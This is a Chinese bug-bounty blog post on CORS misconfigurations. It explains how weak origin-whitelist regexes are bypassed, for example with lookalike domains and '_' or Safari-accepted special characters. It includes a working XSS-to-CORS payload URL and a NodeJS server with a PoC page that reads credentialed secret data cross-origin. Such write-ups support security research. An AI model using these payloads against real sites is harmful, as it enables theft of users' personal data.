CORS配置错误带来的安全问题及利用手法


最近一直在挖CORS配置错误这个问题,但是还没找到像样的案例,就先归纳一下这个漏洞,顺便记录一下学到的新姿势,希望对大家有所帮助

在阅读本文之前,你应该已经知道什么是CORS了,以及CORS配置错误会带来的安全问题,当然不懂也没关系,我用几句话简单给大家描述下这个问题。

CORS基础

CORS的全称是跨域资源访问,我们都知道同源策略(SOP)限制了我们的浏览器跨域读取资源,但是我们在设计开发一些网站的时候,本来就需要跨域读取数据,但是因为有同源策略的存在,我们要跨域就太麻烦了,所以cors应运而生,这个策略可以帮助我们跨域读取资源,具体的做法如下:

  1. 当你要发起一个跨域请求时,你的请求头里需要带上Origin头,表明你这个请求来自哪个域
  2. 服务端在收到这个请求头的时候,会返回一个access-control-allow-origin头,这个头的值会表明目标服务器是否接受这个跨域请求,如果目标服务器接受这个跨域请求,浏览器就会接受响应,否则浏览器就丢弃这个响应

下面的例子就是一个典型的CORS请求与响应

GET /api/return HTTP/1.1
Host: www.redacted.com
Origin: evil.redacted.com
Connection: close
HTTP/1.1 200 OK
Access-control-allow-credentials: true
Access-control-allow-origin: evil.redacted.com

其中响应中的Access-control-allow-origin头指示了目标域接受来自哪个域的跨域请求

而这个头的值是在目标域的服务端进行配置的,一般这个头的值都会设计成一个白名单,而这个白名单的设计方式就是通过正则实现

本着有正则的地方就会有绕过的原则,我们开搞

情景1

^https?:\/\/(.*\.)?xxe\.sh$

这个正则表明该域接受所有来自xxe.sh域及其子域的请求,这里的配置是没啥问题的,但是如果xxe.sh子域存在xss漏洞或者子域名劫持漏洞的话,那么我们就可以利用了

那有人就要问了:“到底怎么利用🦆?我是小白”

ok,我们看一个实例吧,以www.redacted.com/api/return这个接口为例

它的cors配置就类似上述正则那样,允许所有子域访问,经过一番搜索,我在他的一个子域banques.redacted.com发现了一处xss,payload如下:

https://banques.redacted.com/choice-quiz?form_banque="><script>alert(document.domain)</script>&form_cartes=73&iframestat=1

可以弹窗了,现在我们要做的就是把弹窗代码改为偷取敏感信息的代码(/api/return这个接口会返回一些用户敏感信息,例如名字、邮箱地址等等),payload如下:

function cors() {  
var xhttp = new XMLHttpRequest();  
xhttp.onreadystatechange = function() {    
    if (this.status == 200) {    
    alert(this.responseText);     
    document.getElementById("demo").innerHTML = this.responseText;    
    }  
};  
xhttp.open("GET", "https://www.redacted.com/api/return", true);  
xhttp.withCredentials = true;  
xhttp.send();
}
cors();

放到url中变成这样:

https://banques.redacted.com/choice-quiz?form_banque="><script>function%20cors(){var%20xhttp=new%20XMLHttpRequest();xhttp.onreadystatechange=function(){if(this.status==200) alert(this.responseText);document.getElementById("demo").innerHTML=this.responseText}};xhttp.open("GET","https://www.redacted.com/api/return",true);xhttp.withCredentials=true;xhttp.send()}cors();</script>&form_cartes=73&iframestat=1

我们只要把这个链接发送给受害者,他一点击,就会弹出敏感信息

上面的代码只是从/api/return接口获取了敏感信息然后使用alert展示了出来,我们在利用的时候可以直接使用xhr把获取到的敏感信息发送到我们的服务器

就这个漏洞,在国外获得了7000块的赏金,不得不说国外给的钱是真的多,🐻弟们都去国外挖吧,赚老外的银子

情景2

我们看一下另外一个正则配置

^https?:\/\/.*\.?xxe\.sh$

🐻弟们,快来找不同,这个正则和上面那个有啥区别,怎么利用?

这个正则就是比较典型的错误配置🌶

因为.*\.不是作为一个正则的group,这个?是单独作用在.号上的,因此我们可以使用totallynotxxe.sh这个域名绕过

关于这种配置错误还是比较常见的,案例见:

https://hackerone.com/reports/168574

情景3

^https?:\/\/(.*\.)?xxe\.sh\:?.*

这个配置允许所有来自xxe.sh域、它的子域以及这些域上任何端口发送过来的请求跨域访问

这次问题出在那里?

其实和上一个🌰差不多,?符只作用在:上,所以我们可以用类似这样的origin头绕过xxe.sh.evil.com

情景4

上面都是比较普通的情况,也是我们挖洞时重点会关注的情况,下面我们来看一个不那么普通的

那Apache的配置举例:

SetEnvIf Origin "^https?:\/\/(.*\.)?xxe.sh([^\.\-a-zA-Z0-9]+.*)?" AccessControlAllowOrigin=$0
Header set Access-Control-Allow-Origin %{AccessControlAllowOrigin}e env=AccessControlAllowOrigin

这里的配置允许所有来自xxe.sh、其子域、以及它们所有的端口的跨域请求

和上面不同的是,这里关于端口的正则相对严格一点,要求不能出现.-a-zA-Z0-9这些字符,所以,上面的利用方式已经不管用了,当然,我们还是可以通过寻找子域的xss以及域名劫持来利用,这两个手法是万能的…

既然不能使用上面这些字符,那么我在xxe.sh后面加个空格可不可以绕过呢?来👀效果

这不就绕过了吗,美滋滋~

然而,这种方式在浏览器里并没有用,浏览器根本就不会向这种域名发起请求

浏览器在发起请求前会检查域名是否合法

但是,通过正则我们已经知道xxe.sh后面是可以加一些特殊字符绕过的,只是浏览器不支持而已

但是真的是所有浏览器都不支持所有的特殊字符吗?

不是的,safari就支持很多特殊字符的域名

我们用<@$&(#+_\^%~>.withgoogle.com这个域名测试一下,之所以选择这个域名是因为withgoogle.com支持泛解析

不知道什么是泛解析?去补补课?

dns可以正常解析这个域名,接下来我们看看浏览器三巨头对这个域名的支持情况

chrome:

firefox:

safari:

和前面两个浏览器不同,safari报了400错误,其他两个都是直接地址不可达,safari实际上是发送了请求的,除此之外,这里还有很多其他的特殊字符可以尝试一下,例如:

,&'";!$^*()+=`~-_=|{}%

// 不可打印字符
%01-08,%0b,%0c,%0e,%0f,%10-%1f,%7f

所以,针对上面那种情况,我们完全可以在safari里面完成利用

利用步骤大概如下:

  • 准备一个开启了泛解析的域名,这个域名指向你的主机
  • NodeJS

为啥要准备NodeJS呢?

因为Apache和Nginx对这些有特殊字符的域名支持都不太好,所以,我们直接用NodeJS在我们的主机上搭建一个Server比较好

serve.js

var http = require('http');
var url  = require('url');
var fs   = require('fs');
var port = 80

http.createServer(function(req, res) {
    if (req.url == '/cors-poc') {
        fs.readFile('cors.html', function(err, data) {
            res.writeHead(200, {'Content-Type':'text/html'});
            res.write(data);
            res.end();
        });
    } else {
        res.writeHead(200, {'Content-Type':'text/html'});
        res.write('never gonna give you up...');
        res.end();
    }
}).listen(port, '0.0.0.0');
console.log(`Serving on port ${port}`);

然后在同目录下创建一个cors.html:

<!DOCTYPE html>
<html>
<head><title>CORS</title></head>
<body onload="cors();">
<center>
cors proof-of-concept:<br><br>
<textarea rows="10" cols="60" id="pwnz">
</textarea><br>
</div>

<script>
function cors() {
  var xhttp = new XMLHttpRequest();
  xhttp.onreadystatechange = function() {
    if (this.readyState == 4 && this.status == 200) {
      document.getElementById("pwnz").innerHTML = this.responseText;
    }
  };
  xhttp.open("GET", "http://x.xxe.sh/api/secret-data/", true);
  xhttp.withCredentials = true;
  xhttp.send();
}
</script>

然后运行命令node serve.js &启动NodeJS server

然后使用safari访问http://x.xxe.sh{.<your-domain>/cors-poc就可以从目标域偷到敏感数据了

上面这个payload只是在safari可以利用,有点没意思

那么有没有一个符号是在所有浏览器都支持的呢?

_闪亮登场

_这个符号在chrome和firefox都是支持的,所以,我们可以利用http://x.xxe.sh_.<your-domain>/cors-poc在所有浏览器上实施攻击

下图是个浏览器对域名中的特殊字符的支持情况,可以看到_在所有浏览器都是可以解析的

但是如果让我们在挖掘的时候一个一个试这些特殊字符是否被access-control-allow-origin接收是很难受的,所以…

工具都给大家准备好了:

https://github.com/lc/theftfuzzer

关于这种情况也是有相关实例的,见:

https://medium.com/bugbountywriteup/think-outside-the-scope-advanced-cors-exploitation-techniques-dad019c68397

  • 1
    点赞
  • 7
    收藏
    觉得还不错? 一键收藏
  • 2
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值